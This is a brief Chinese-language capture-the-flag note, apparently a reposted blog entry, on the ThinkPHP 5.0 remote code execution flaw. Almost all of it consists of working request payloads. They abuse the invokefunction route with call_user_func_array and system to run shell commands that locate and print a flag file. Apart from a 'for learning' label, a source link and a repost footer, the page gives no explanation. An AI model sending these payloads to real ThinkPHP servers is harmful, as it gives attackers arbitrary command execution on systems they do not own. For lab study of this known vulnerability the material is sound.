查找flag::45747/index.php?s=index/think\app/invokefunctionfun
查找flag::45747/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find%20/%20-name%20%22flag%22
payload::45747/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag 得到flag
参考自:https://blog.csdn.net/weixin_45425482/article/details/103709085
学习用途


ThinkPHP 5.0 版本存在getshell缝隙 php_rce
,温馨提示: 本文由Jm博客推荐,转载请保留链接: https://www.jmwww.net/file/web/30936.html
